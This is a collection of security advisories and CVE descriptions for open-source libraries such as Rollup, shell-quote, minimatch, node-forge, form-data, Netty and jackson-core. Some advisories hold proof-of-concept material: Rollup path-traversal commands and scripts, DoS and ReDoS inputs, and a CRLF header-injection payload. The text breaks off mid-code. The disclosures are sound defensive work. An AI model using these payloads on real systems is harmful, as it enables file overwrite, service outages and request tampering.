1. Target a sensitive file location (for demonstration, we will use a file in the project root called `pwned.js`). 2. Execute Rollup with a specifically crafted named input where the key contains traversal characters: ```bash rollup --input "a/../../pwned.js=main.js" --dir dist ``` 3. **Result**: Rollup will resolve the output path for the entry chunk as `dist + a/../../pwned.js`, which resolves to the project root. The file `pwned.js` is created/overwritten outside the `dist` folder. **Reproduction Files provided :** * `vuln_app.js`: Isolated logic exactly replicating the sanitization and resolution bug. * `exploit.py`: Automated script to run the PoC and verify the file escape. vuln_app.js ```js const path = require('path'); const fs = require('fs'); /** * REPLICATED ROLLUP VULNERABILITY * * 1. Improper Sanitization (from src/utils/sanitizeFileName.ts) * 2. Unsafe Path Resolution (from src/rollup/rollup.ts) */ function sanitize(name) { // The vulnerability: Rollup's regex fails to strip dots and slashes, // allowing path traversal sequences like '../' return name.replace(/[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g, '_'); } async function build(userSuppliedName) { const outputDir = path.join(__dirname, 'dist'); const fileName = sanitize(userSuppliedName); // Vulnerability: path.resolve() follows traversal sequences in the filename const outputPath = path.resolve(outputDir, fileName); console.log(`[*] Target write path: ${outputPath}`); if (!fs.existsSync(path.dirname(outputPath))) { fs.mkdirSync(path.dirname(outputPath), { recursive: true }); } fs.writeFileSync(outputPath, 'console.log("System Compromised!");'); console.log(`[+] File written successfully.`); } build(process.argv[2] || 'bundle.js'); ``` exploit.py ```py import subprocess from pathlib import Path def run_poc(): # Target a file outside the 'dist' folder poc_dir = Path(__file__).parent malicious_filename = "../pwned_by_rollup.js" target_path = poc_dir / "pwned_by_rollup.js" print(f"=== Rollup Path Traversal PoC ===") print(f"[*] Malicious Filename: {malicious_filename}") # Trigger the vulnerable app subprocess.run(["node", "poc/vuln_app.js", malicious_filename]) if target_path.exists(): print(f"[SUCCESS] File escaped 'dist' folder!") print(f"[SUCCESS] Created: {target_path}") # target_path.unlink() # Cleanup else: print("[FAILED] Exploit did not work.") if __name__ == "__main__": run_poc() ``` ## POC ```rollup --input "bypass/../../../../../../../Users/vaghe/OneDrive/Desktop/pwned_desktop.js=main.js" --dir dist``` <img width="1918" height="1111" alt="image" src="https://github.com/user-attachments/assets/3474eb7c-9c4b-4acd-9103-c70596b490d4" /> ### Impact This is a **High** level of severity vulnerability. * **Arbitrary File Write**: Attackers can overwrite sensitive files like `~/.ssh/authorized_keys`, `.bashrc`, or system binaries if the build process has sufficient privileges. * **Supply Chain Risk**: Malicious third-party plugins or dependencies can use this to inject malicious code into other parts of a developer's machine during the build phase. * **User Impact**: Developers running builds on untrusted repositories are at risk of system compromise.
Out-of-bounds memory operations in org.lz4:lz4-java 1.8.0 and earlier allow remote attackers to cause denial of service and read adjacent memory via untrusted compressed input. This is fixed in a forked release: at.yawk.lz4:lz4-java version 1.8.1. The original project has been archived: https://github.com/lz4/lz4-java, and Sonatype has added a redirect from org.lz4:lz4-java:1.8.1 to the new group ID.
Improper Access Control vulnerability in Apache Commons. A special BeanIntrospector class was added in version 1.9.2. This can be used to stop attackers from using the declared class property of Java enum objects to get access to the classloader. However this protection was not enabled by default. PropertyUtilsBean (and consequently BeanUtilsBean) now disallows declared class level property access by default. Releases 1.11.0 and 2.0.0-M2 address a potential security issue when accessing enum properties in an uncontrolled way. If an application using Commons BeanUtils passes property paths from an external source directly to the getProperty() method of PropertyUtilsBean, an attacker can access the enum’s class loader via the “declaredClass” property available on all Java “enum” objects. Accessing the enum’s “declaredClass” allows remote attackers to access the ClassLoader and execute arbitrary code. The same issue exists with PropertyUtilsBean.getNestedProperty(). Starting in versions 1.11.0 and 2.0.0-M2 a special BeanIntrospector suppresses the “declaredClass” property. Note that this new BeanIntrospector is enabled by default, but you can disable it to regain the old behavior; see section 2.5 of the user's guide and the unit tests. This issue affects Apache Commons BeanUtils 1.x before 1.11.0, and 2.x before 2.0.0-M2.Users of the artifact commons-beanutils:commons-beanutils 1.x are recommended to upgrade to version 1.11.0, which fixes the issue. Users of the artifact org.apache.commons:commons-beanutils2 2.x are recommended to upgrade to version 2.0.0-M2, which fixes the issue.
Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. An Uncontrolled Recursion vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft deep ASN.1 structures that trigger unbounded recursive parsing. This leads to a Denial-of-Service (DoS) via stack exhaustion when parsing untrusted DER inputs. This issue has been patched in version 1.3.2.
The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. Prior to 3.0.13 and 2.16.1, Realm.Builder treats a Digest challenge that yields no usable nonce as a Basic challenge. A malicious origin or proxy can label a challenge Digest while omitting or emptying the nonce, causing the client to resend the username and password using reversible Basic authentication. Both origin and proxy challenge parsers are affected. This issue is fixed in versions 3.0.13 and 2.16.1.
form-data is a library for creating readable multipart/form-data streams. In versions through 4.0.5, the `field` argument to `FormData#append` and the `filename` option are concatenated verbatim into the `Content-Disposition` header without escaping carriage return (CR), line feed (LF), or double-quote (") characters. An application that passes attacker-controlled data as a field name or filename (for example, an API gateway that turns JSON object keys into multipart field names) allows the attacker to terminate the header line and inject additional headers, or to smuggle entire additional multipart parts, into the request the application forwards to a backend. This can let the attacker add or override form fields (e.g. set `is_admin=true`) seen by the downstream parser. This is an instance of CWE-93 (CRLF injection). The fix escapes CR, LF, and `"` as `%0D`, `%0A`, and `%22` in field names and filenames, matching the serialization browsers use per the WHATWG HTML multipart/form-data encoding algorithm. Exploitation requires the consuming application to use untrusted input as a field name or filename; applications that use only fixed/trusted field names are not affected. Fixed in 2.5.6, 3.0.5, and 4.0.6.
shell-quote prior to 1.8.5 finalizes parsed tokens in parse() using Array.prototype.concat as a reduce accumulator, which reallocates and copies the entire growing array on every iteration. As a result parse() runs in O(n^2) time relative to the number of input tokens. An attacker who can supply an attacker-controlled string to any code path that calls parse() (no shell metacharacters are required; plain space-separated words suffice) can block the single-threaded Node.js event loop for an extended period with a small input, resulting in a denial of service. There is no code execution or data disclosure; impact is to availability only. Fixed in 1.8.5.
In Bouncy Castle for Java before 1.85, Lazy ASN.1 sequence forcing resets nesting-depth guard. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bc-fips 1.0.2.7 (1.0.X series), 2.0.2 (2.0.X series) and 2.1.3 (2.1.X series).
minimatch is a minimal matching utility for converting glob expressions into JavaScript RegExp objects. Versions 10.2.0 and below are vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive * wildcards followed by a literal character that doesn't appear in the test string. Each * compiles to a separate [^/]*? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits. The time complexity is O(4^N) where N is the number of * characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever. Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This issue has been fixed in version 10.2.1.
Immutable.js provides many Persistent Immutable data structures. Prior to versions 3.8.3, 4.3.7, and 5.1.5, Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. This issue has been patched in versions 3.8.3, 4.3.7, and 5.1.5.
A race condition in the Apache Kafka Java producer client’s buffer pool management can cause messages to be silently delivered to incorrect topics. When a produce batch expires due to delivery.timeout.ms while a network request containing that batch is still in flight, the batch’s ByteBuffer is prematurely deallocated and returned to the buffer pool. If a subsequent producer batch—potentially destined for a different topic—reuses this freed buffer before the original network request completes, the buffer contents may become corrupted. This can result in messages being delivered to unintended topics without any error being reported to the producer. Data Confidentiality: Messages intended for one topic may be delivered to a different topic, potentially exposing sensitive data to consumers who have access to the destination topic but not the intended source topic. Data Integrity: Consumers on the receiving topic may encounter unexpected or incompatible messages, leading to deserialization failures, processing errors, and corrupted downstream data. This issue affects Apache Kafka versions ≤ 3.9.1, ≤ 4.0.1, and ≤ 4.1.1. Kafka users are advised to upgrade to 3.9.2, 4.0.2, 4.1.2, 4.2.0, or later to address this vulnerability.
Netty is a network application framework for development of protocol servers and clients. In versions 4.2.0.Final through 4.2.15.Final and 4.1.0.Final through 4.1.135.Final, the `SpdyHttpDecoder` handler in Netty's SPDY-to-HTTP codec allocates a pooled `ByteBuf` when processing a client-initiated `SYN_STREAM` frame with `FLAG_FIN=0` and stores the partially constructed `FullHttpRequest` in `messageMap`; when the remote peer sends `RST_STREAM` for that stream or the accumulated content exceeds `maxContentLength`, the decoder removes the entry but does not release the pooled `ByteBuf`, causing native memory exhaustion. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.
Immutable.js provides many Persistent Immutable data structures. Prior to 4.3.9 and 5.1.8, List#set, List#setSize, List#setIn, List#updateIn, and the functional set, setIn, and updateIn mishandle an index or size in the range 2 ** 30 to 2 ** 31 in setListBounds in src/List.js, causing an empty List to enter an uncatchable infinite loop, a populated List to allocate without bound until process abort, or setSize to silently wrap large values. This issue is fixed in versions 4.3.9 and 5.1.8.
Immutable.js provides many Persistent Immutable data structures. Prior to 4.3.9 and 5.1.8, Immutable.Map and Immutable.Set keep keys that share the same 32-bit hash in a HashCollisionNode collision bucket that is scanned linearly, allowing an attacker who controls keys inserted into a Map, such as through Immutable.Map(obj), Immutable.fromJS(obj), state.merge(userObject), or mergeDeep, to craft many colliding keys and degrade insertion and lookup to consume disproportionate CPU. This issue is fixed in versions 4.3.9 and 5.1.8.
Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, the `Bzip2Decoder` handler in Netty's compression codec pipeline is vulnerable to a denial-of-service attack through a malformed bzip2 stream that permanently captures the event-loop thread in an infinite loop. The vulnerability exists in the run-length encoding (RLE) state machine within [`Bzip2BlockDecompressor.read()`]. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final.
Netty is an asynchronous, event-driven network application framework. Prior to 4.1.137.Final and 4.2.17.Final, the default io.netty.handler.ssl.SniHandler constructors use the pre-handshake ClientHello aggregation path in handler/src/main/java/io/netty/handler/ssl/SslClientHelloHandler.java at io.netty.handler.ssl.SslClientHelloHandler#decode, where handshakeBuffer.clear() and writeBytes() recopy all previously received body bytes for every additional TLS record. An unauthenticated remote peer can advertise a large ClientHello and deliver its body in thousands of tiny records, causing quadratic CPU work on the event loop before the TLS handshake completes and degrading TLS handling for other clients. This issue is fixed in versions 4.1.137.Final and 4.2.17.Final.
### Summary `shell-quote`'s `parse()` finalizes its token list with a `reduce` that uses `Array.prototype.concat` as the accumulator. Each `prev.concat(arg)` copies the entire growing array, so `parse()` runs in **O(n²)** in the number of tokens. An unauthenticated attacker who can submit a string to any code path that calls `parse()` on it can block the single-threaded Node.js event loop for tens of seconds with a small input — a denial of service. The trigger needs **no shell metacharacters** (plain space-separated words suffice), so input filters that only screen for `;`, `|`, `$`, or backticks do not help. ### Root cause `parse.js` (lines 200–203), in `parseInternal` — this path runs on **every** `parse()` call: ```js }).reduce(function (prev, arg) { // finalize parsed arguments // TODO: replace this whole reduce with a concat return typeof arg === 'undefined' ? prev : prev.concat(arg); }, []); ``` `prev.concat(arg)` allocates a new array and copies all of `prev` on every iteration, so producing an N-token result costs `1 + 2 + … + N = O(N²)` copies. A second `acc.concat(s)` reduce in the `module.exports` wrapper (lines 211–224, reached only when `env` is a function) has the same shape. The maintainer's own `// TODO: replace this whole reduce with a concat` already flags the construct. ### Proof of Concept ```js const { parse } = require('shell-quote'); const ms = fn => { const t = process.hrtime.bigint(); fn(); return Number(process.hrtime.bigint()-t)/1e6; }; for (const N of [16000, 32000, 64000, 128000]) { console.log(N, 'tokens ->', ms(() => parse('x '.repeat(N))).toFixed(0), 'ms'); } ``` Measured on `shell-quote@1.8.4`, Node v24: | input (N tokens) | bytes | `parse()` | ratio vs prev (2× input) | |-----------------:|-------:|----------:|:------------------------:| | 16 000 | 32 KB | 678 ms | — | | 32 000 | 64 KB | 4 169 ms | ×6.2 | | 64 000 | 128 KB | 14 914 ms | ×3.6 | | 128 000 | 256 KB | **57 319 ms** | ×3.8 | Time grows ~×4 per 2× input → confirmed O(n²). A ~128 KB input blocks the event loop ~15 s; ~256 KB → ~57 s; a few hundred KB more → minutes. <img width="656" height="214" alt="image" src="https://github.com/user-attachments/assets/e8955b0e-0527-45ca-94b7-c3a2d8c0c82e" /> [poc.js](https://github.com/user-attachments/files/29255995/poc.js) ### Impact `parse()` is synchronous on the main thread; while it copies arrays quadratically the entire event loop is blocked and the process serves no other requests. Any service that calls `parse()` on attacker-influenced input (command parsers, chat-ops / bot command handlers, REPLs, build-script / arg-string splitters) can be driven to a sustained DoS with a single small request. No code execution and no data disclosure — availability only. End-to-end confirmation: a minimal HTTP server that calls `parse()` on the request body, hit with **one** `POST` of `'x '.repeat(32000)` (~63 KB), froze for ~4.5 s. An out-of-process probe client issuing harmless `GET /ping` requests (normally ~1 ms) observed **27 consecutive pings stalled by up to 4374 ms** during that single request — i.e. every concurrent client was denied service for the whole parse. Scaling the body to a few hundred KB extends the outage to minutes. This is the same class as several accepted 2026 advisories for quadratic-parser DoS on untrusted input (e.g. markdown-it CVE-2026-48988, js-yaml CVE-2026-53550, python-multipart CVE-2026-53539). It is **distinct** from the known `shell-quote` command-injection issues (CVE-2021-42740, CVE-2016-10541, CVE-2026-9277), which are all in `quote()`, not `parse()`. ### Suggested remediation Replace the O(n²) concat-in-reduce with a linear flatten that **pushes into the accumulator** instead of reallocating and copying it on every iteration. Apply the same shape to the wrapper's `acc.concat(s)` reduce. A defensive input-length cap on `parse()` is a cheap additional stop-gap. > **Maintainer note (edit):** the originally-suggested `Array.prototype.flat()` is > ES2019 / Node 11+, but `shell-quote` declares `engines: node >= 0.4`, so `.flat()` > would silently drop support for older runtimes. The fix instead flattens one-level > array tokens with `forEach`/`push` — and deliberately not `push.apply(...)`, since > spreading a large array into function arguments can exceed the engine's argument > count limit. Output is byte-identical to the current code across strings, `undefined` > holes, one-level array tokens, and `{op}`/`{comment}`/`{op:'glob'}` objects, and > finalizing is now linear (1,024,000 tokens in ~150 ms vs ~57 s for 128,000 before). > Thanks for the clear report and PoC — the analysis and reproduction were spot on. ### Disclosure Found by source audit + wall-clock confirmation against 1.8.4 (and verified the same code is present on `main`). Reported privately here; no public disclosure until a fix is available.
### Summary `minimatch` is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive `*` wildcards followed by a literal character that doesn't appear in the test string. Each `*` compiles to a separate `[^/]*?` regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits. The time complexity is O(4^N) where N is the number of `*` characters. With N=15, a single `minimatch()` call takes ~2 seconds. With N=34, it hangs effectively forever. ### Details _Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._ ### PoC When minimatch compiles a glob pattern, each `*` becomes `[^/]*?` in the generated regex. For a pattern like `***************X***`: ``` /^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/ ``` When the test string doesn't contain `X`, the regex engine must try every possible way to distribute the characters across all the `[^/]*?` groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) — exponential. ### Impact Any application that passes user-controlled strings to `minimatch()` as the pattern argument is vulnerable to DoS. This includes: - File search/filter UIs that accept glob patterns - `.gitignore`-style filtering with user-defined rules - Build tools that accept glob configuration - Any API that exposes glob matching to untrusted input ---- Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.
### Summary An Uncontrolled Recursion (CWE-674) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft deep ASN.1 structures that trigger unbounded recursive parsing. This leads to a Denial-of-Service (DoS) via stack exhaustion when parsing untrusted DER inputs. ### Details An ASN.1 Denial of Service (Dos) vulnerability exists in the node-forge `asn1.fromDer` function within `forge/lib/asn1.js`. The ASN.1 DER parser implementation (`_fromDer`) recurses for every constructed ASN.1 value (SEQUENCE, SET, etc.) and lacks a guard limiting recursion depth. An attacker can craft a small DER blob containing a very large nesting depth of constructed TLVs which causes the Node.js V8 engine to exhaust its call stack and throw `RangeError: Maximum call stack size exceeded`, crashing or incapacitating the process handling the parse. This is a remote, low-cost Denial-of-Service against applications that parse untrusted ASN.1 objects. ### Impact This vulnerability enables an unauthenticated attacker to reliably crash a server or client using node-forge for TLS connections or certificate parsing. This vulnerability impacts the ans1.fromDer function in `node-forge` before patched version `1.3.2`. Any downstream application using this component is impacted. These components may be leveraged by downstream applications in ways that enable full compromise of availability.
The `Bzip2Decoder` handler in Netty's compression codec pipeline is vulnerable to a denial-of-service attack through a malformed bzip2 stream that permanently captures the event-loop thread in an infinite loop. The vulnerability exists in the run-length encoding (RLE) state machine within [`Bzip2BlockDecompressor.read()`]
### Summary CVE-2025-12816 has been reserved by CERT/CC **Description** An Interpretation Conflict (CWE-436) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft ASN.1 structures to desynchronize schema validations, yielding a semantic divergence that may bypass downstream cryptographic verifications and security decisions. ### Details A critical ASN.1 validation bypass vulnerability exists in the node-forge asn1.validate function within `forge/lib/asn1.js`. ASN.1 is a schema language that defines data structures, like the typed record schemas used in X.509, PKCS#7, PKCS#12, etc. DER (Distinguished Encoding Rules), a strict binary encoding of ASN.1, is what cryptographic code expects when verifying signatures, and the exact bytes and structure must match the schema used to compute and verify the signature. After deserializing DER, Forge uses static ASN.1 validation schemas to locate the signed data or public key, compute digests over the exact bytes required, and feed digest and signature fields into cryptographic primitives. This vulnerability allows a specially crafted ASN.1 object to desynchronize the validator on optional boundaries, causing a malformed optional field to be semantically reinterpreted as the subsequent mandatory structure. This manifests as logic bypasses in cryptographic algorithms and protocols with optional security features (such as PKCS#12, where MACs are treated as absent) and semantic interpretation conflicts in strict protocols (such as X.509, where fields are read as the wrong type). ### Impact This flaw allows an attacker to desynchronize the validator, allowing critical components like digital signatures or integrity checks to be skipped or validated against attacker-controlled data. This vulnerability impacts the `ans1.validate` function in `node-forge` before patched version `1.3.2`. https://github.com/digitalbazaar/forge/blob/main/lib/asn1.js. The following components in `node-forge` are impacted. [lib/asn1.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/asn1.js#L1153) [lib/x509.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/x509.js#L667) [lib/pkcs12.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/pkcs12.js#L328) [lib/pkcs7.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/pkcs7.js#L90) [lib/rsa.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/rsa.js#L1167) [lib/pbe.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/pbe.js#L363) [lib/ed25519.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/ed25519.js#L81) Any downstream application using these components is impacted. These components may be leveraged by downstream applications in ways that enable full compromise of integrity, leading to potential availability and confidentiality compromises.
### Summary Netty's `DnsResolveContext` insufficiently validates the bailiwick of NS records, enabling DNS Cache Poisoning. An attacker controlling an authoritative name server for a subdomain can poison the cache for parent domains (like `.co.uk`). ### Details In `io.netty.resolver.dns.DnsResolveContext.AuthoritativeNameServerList#add` method accepts any NS record from the AUTHORITY section as long as the record's name is a suffix of the questionName. This means if the resolver queries evil.co.uk., it will accept an NS record claiming authority over co.uk.. Subsequently, the `handleWithAdditional` method caches the associated A records from the ADDITIONAL section directly into the `authoritativeDnsServerCache` under the parent domain's key (co.uk.). This bypasses standard bailiwick rules, where a server authoritative for a subdomain should not be trusted to provide authoritative records for its parent. The poisoned cache is then used for all future resolutions under co.uk.. The `io.netty.resolver.dns.DnsResolveContext.AuthoritativeNameServerList#cache` method only prevents caching if the record is for the root zone (dots == 1). ### Impact DNS Cache Poisoning. Any application using Netty's DNS resolver is impacted.
### Summary Netty's DnsResolveContext fails to validate the origin (bailiwick) of CNAME records in DNS responses. ### Details In `io.netty.resolver.dns.DnsResolveContext#buildAliasMap`, the resolver processes the ANSWER section of a DNS response and blindly caches all CNAME records it finds. According to https://datatracker.ietf.org/doc/html/rfc5452#section-6 ``` Care must be taken to only accept data if it is known that the originator is authoritative for the QNAME or a parent of the QNAME. One very simple way to achieve this is to only accept data if it is part of the domain for which the query was intended. ``` ### Impact DNS Cache Poisoning (Bailiwick Bypass). Any application using Netty's DNS resolver is impacted.
Improper handling of configuration values in ZKConfig in Apache ZooKeeper 3.8.5 and 3.9.4 on all platforms allows an attacker to expose sensitive information stored in client configuration in the client's logfile. Configuration values are exposed at INFO level logging rendering potential production systems affected by the issue. Users are recommended to upgrade to version 3.8.6 or 3.9.5 which fixes this issue.
## Summary `form-data` builds `multipart/form-data` request bodies. Through v4.0.5, the `field` name passed to `FormData#append` and the `filename` option are concatenated directly into the `Content-Disposition` header with no escaping of CR (`\r`), LF (`\n`), or `"`. An application that uses **untrusted input as a field name or filename** therefore lets an attacker terminate the header line and either inject additional headers or smuggle whole additional multipart parts into the request the application forwards to a backend. This is CWE-93 (CRLF injection). It is a divergence from how browsers and the WHATWG HTML spec serialize form-data (they escape these characters), so the fix is to match that behavior. Severity is **conditional**: it depends on the consuming application passing attacker-controlled data as a field name or filename. Applications that only use fixed/trusted field names are not affected. ## Details In `lib/form_data.js`, `_multiPartHeader` builds the part header as: ```javascript 'Content-Disposition': ['form-data', 'name="' + field + '"'].concat(contentDisposition || []) ``` and `_getContentDisposition` builds `filename="' + filename + '"'`. Neither escapes control characters, so a `\r\n` in `field`/`filename` ends the header line. The same applies to `"`, which can break out of the quoted parameter. ### Proof of concept ```javascript const FormData = require('form-data'); const form = new FormData(); form.append('email"\r\nX-Injected: true\r\nfake="', 'user@example.com'); console.log(form.getBuffer().toString()); ``` Before the fix this emits an injected `X-Injected: true` header line. A field name that also includes `--<boundary>` sequences can introduce additional parts (e.g. an extra `name="is_admin"` field), which a downstream parser accepts as legitimate. ## Impact For an application that uses untrusted field names/filenames: - **Field injection / override (integrity).** Inject or override fields the backend trusts (e.g. `is_admin`, `role`) — the primary demonstrated impact. - **Header injection** into the generated multipart part. Claims of guaranteed privilege escalation, authentication bypass, high confidentiality impact, and availability impact are application-dependent downstream consequences, not properties of `form-data` itself, and are not demonstrated by the PoC. ### Severity The demonstrated, library-attributable impact is integrity (field/header injection); there is no demonstrated confidentiality disclosure or availability impact in `form-data` itself, and exploitation requires the consuming app to feed untrusted data into field names/filenames. A Moderate (≈5.3, `I:L`) rating is also defensible given that precondition. ## Patch Fixed in **4.0.6**, **3.0.5**, and **2.5.6**. Users on older 0.x/1.x/2.x releases should upgrade to 2.5.6 or later. The fix escapes `\r`, `\n`, and `"` as `%0D`, `%0A`, and `%22` in field names and filenames, matching the WHATWG HTML `multipart/form-data` encoding algorithm that browsers implement. This neutralizes the injection while leaving ordinary field names (including `name[0]`, dotted, and unicode names) unchanged. ## Workaround Until upgrading, validate or reject field names/filenames that contain control characters before calling `append`: ```javascript if (/[\r\n]/.test(field)) { throw new Error('invalid field name'); } ``` ## Credit Reported by [yueyueL](https://github.com/yueyueL).
The `SpdyHttpDecoder` handler in Netty's SPDY-to-HTTP codec allocates a pooled `ByteBuf` when processing a client-initiated `SYN_STREAM` frame with `FLAG_FIN=0`, storing the partially-constructed `FullHttpRequest` in an internal map (`messageMap`) to accumulate subsequent `DATA` frames. When the remote peer sends an `RST_STREAM` for that stream, or when the accumulated content exceeds `maxContentLength`, the decoder removes the entry from the map but **never releases the pooled ByteBuf**, permanently leaking the allocated memory.
In Bouncy Castle for Java before 1.85, Lazy ASN.1 sequence forcing resets nesting-depth guard. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bc-fips 1.0.2.7 (1.0.X series), 2.0.2 (2.0.X series) and 2.1.3 (2.1.X series).
## Summary The fix released in jackson-core `2.18.6` and `2.21.1` for [GHSA-72hv-8253-57qq](https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq) (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit `b0c428e6` (#1555) wired `validateIntegerLength` into a new `_setIntLength` helper and called it at every place where the integer portion of a number is *decided* (terminator byte arrived, `.` / `e/E` seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: "ran out of input while still inside `MINOR_NUMBER_INTEGER_DIGITS`, return `NOT_AVAILABLE` to caller". As a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside `MINOR_NUMBER_INTEGER_DIGITS` indefinitely. `_textBuffer.expandCurrentSegment()` grows on every chunk, and `validateIntegerLength` is never invoked. The accumulator is only gated by `maxStringLength` (20 MiB default) — a **~20,000x amplification** of the documented `maxNumberLength` (1000 default). This is the same vulnerability class, same advisory wording ("Memory Exhaustion: Unbounded allocation in TextBuffer from excessively long numbers"), same parser class — just the streaming path the original fix didn't cover. The fix to the *fraction* path is correct (see `_finishFloatFraction` at line 1834-1837 of `NonBlockingUtf8JsonParserBase.java` in 2.18.6, where `_setFractLength(fractLen)` IS called before the `NOT_AVAILABLE` return); the equivalent call is missing from every integer-digit path. ## Affected versions Verified on the patched releases: - `com.fasterxml.jackson.core:jackson-core` **2.18.6** - `com.fasterxml.jackson.core:jackson-core` **2.21.1** Structurally identical code in `tools.jackson.core` 3.0.x / 3.1.x — same `NonBlockingUtf8JsonParserBase` class, same `_setIntLength` rollout, same NOT_AVAILABLE returns without validation. Not retested but presumed vulnerable. ## Affected code [`src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java`](https://github.com/FasterXML/jackson-core/blob/b0c428e6/src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java) in 2.18.6 / 2.21.1. ### Site 1 — `_startPositiveNumber(int ch)` lines 1320-1330: ```java if (outPtr >= outBuf.length) { // NOTE: must expand to ensure contents all in a single buffer (to keep // other parts of parsing simpler) outBuf = _textBuffer.expandCurrentSegment(); } outBuf[outPtr++] = (char) ch; if (++_inputPtr >= _inputEnd) { _minorState = MINOR_NUMBER_INTEGER_DIGITS; _textBuffer.setCurrentLength(outPtr); return _updateTokenToNA(); // <-- no validateIntegerLength(outPtr) } ``` ### Site 2 — `_finishNumberIntegralPart` lines 1691-1727: ```java protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException { int negMod = _numberNegative ? -1 : 0; while (true) { if (_inputPtr >= _inputEnd) { _minorState = MINOR_NUMBER_INTEGER_DIGITS; _textBuffer.setCurrentLength(outPtr); return _updateTokenToNA(); // <-- no validateIntegerLength(outPtr + negMod) } int ch = getByteFromBuffer(_inputPtr) & 0xFF; if (ch < INT_0) { if (ch == INT_PERIOD) { _setIntLength(outPtr+negMod); // <-- validated here ++_inputPtr; return _startFloat(outBuf, outPtr, ch); } break; } if (ch > INT_9) { if ((ch | 0x20) == INT_e) { _setIntLength(outPtr+negMod); // <-- validated here ++_inputPtr; return _startFloat(outBuf, outPtr, ch); } break; } ++_inputPtr; if (outPtr >= outBuf.length) { outBuf = _textBuffer.expandCurrentSegment(); } outBuf[outPtr++] = (char) ch; } _setIntLength(outPtr+negMod); // <-- validated here _textBuffer.setCurrentLength(outPtr); return _valueComplete(JsonToken.VALUE_NUMBER_INT); } ``` The pattern recurs at lines 1297, 1329, 1343, 1365, 1395, 1409, 1437, 1467, 1481, 1586, 1644, 1698 — every "ran out of input mid-integer" exit returns to the caller without validating the accumulator length. ### Compare with the fraction path that is correct `_finishFloatFraction` lines 1827-1838: ```java while (loop) { if (ch >= INT_0 && ch <= INT_9) { ++fractLen; if (outPtr >= outBuf.length) { outBuf = _textBuffer.expandCurrentSegment(); } outBuf[outPtr++] = (char) ch; if (_inputPtr >= _inputEnd) { _textBuffer.setCurrentLength(outPtr); _setFractLength(fractLen); // <-- VALIDATED return JsonToken.NOT_AVAILABLE; } ch = getNextSignedByteFromBuffer(); } ... } ``` ## Impact Reactive frameworks (Spring WebFlux / Reactor, Quarkus, Helidon, Vert.x JSON, anything wrapping `JsonFactory.createNonBlockingByteArrayParser()` or `createNonBlockingByteBufferParser()`) feed inbound HTTP/gRPC bytes to the async parser as they arrive. Operators who set `StreamReadConstraints.builder().maxNumberLength(N)` on the assumption that this caps memory per number value are not getting that guarantee in chunked-feed scenarios. The parser silently accumulates digits up to `maxStringLength` (20 MiB default) per concurrent connection. Multiply by attacker-controlled concurrency to OOM the JVM. The synchronous parsers (`UTF8StreamJsonParser`, `ReaderBasedJsonParser`) and the async parser on *complete* input are not affected — those paths go through `_setIntLength` or `ParserBase._reportTooLongIntegral` correctly. CWE-770 (Allocation of Resources Without Limits or Throttling), CVSS roughly the same as the parent advisory (Network / Low complexity / High availability impact). The parent advisory was scored CVSS 8.7 High. ## Proof of concept Standalone PoC, no Maven required: ``` mkdir poc && cd poc curl -sLo jackson-core-2.18.6.jar https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.18.6/jackson-core-2.18.6.jar cat > PoC.java <<'EOF' import com.fasterxml.jackson.core.*; import com.fasterxml.jackson.core.async.ByteArrayFeeder; public class PoC { public static void main(String[] args) throws Exception { StreamReadConstraints strict = StreamReadConstraints.builder() .maxNumberLength(1000) .build(); JsonFactory f = new JsonFactoryBuilder() .streamReadConstraints(strict) .build(); // Sanity: synchronous parser rejects 5000-digit int. try (JsonParser p = f.createParser("{\"v\":" + "1".repeat(5000) + "}")) { while 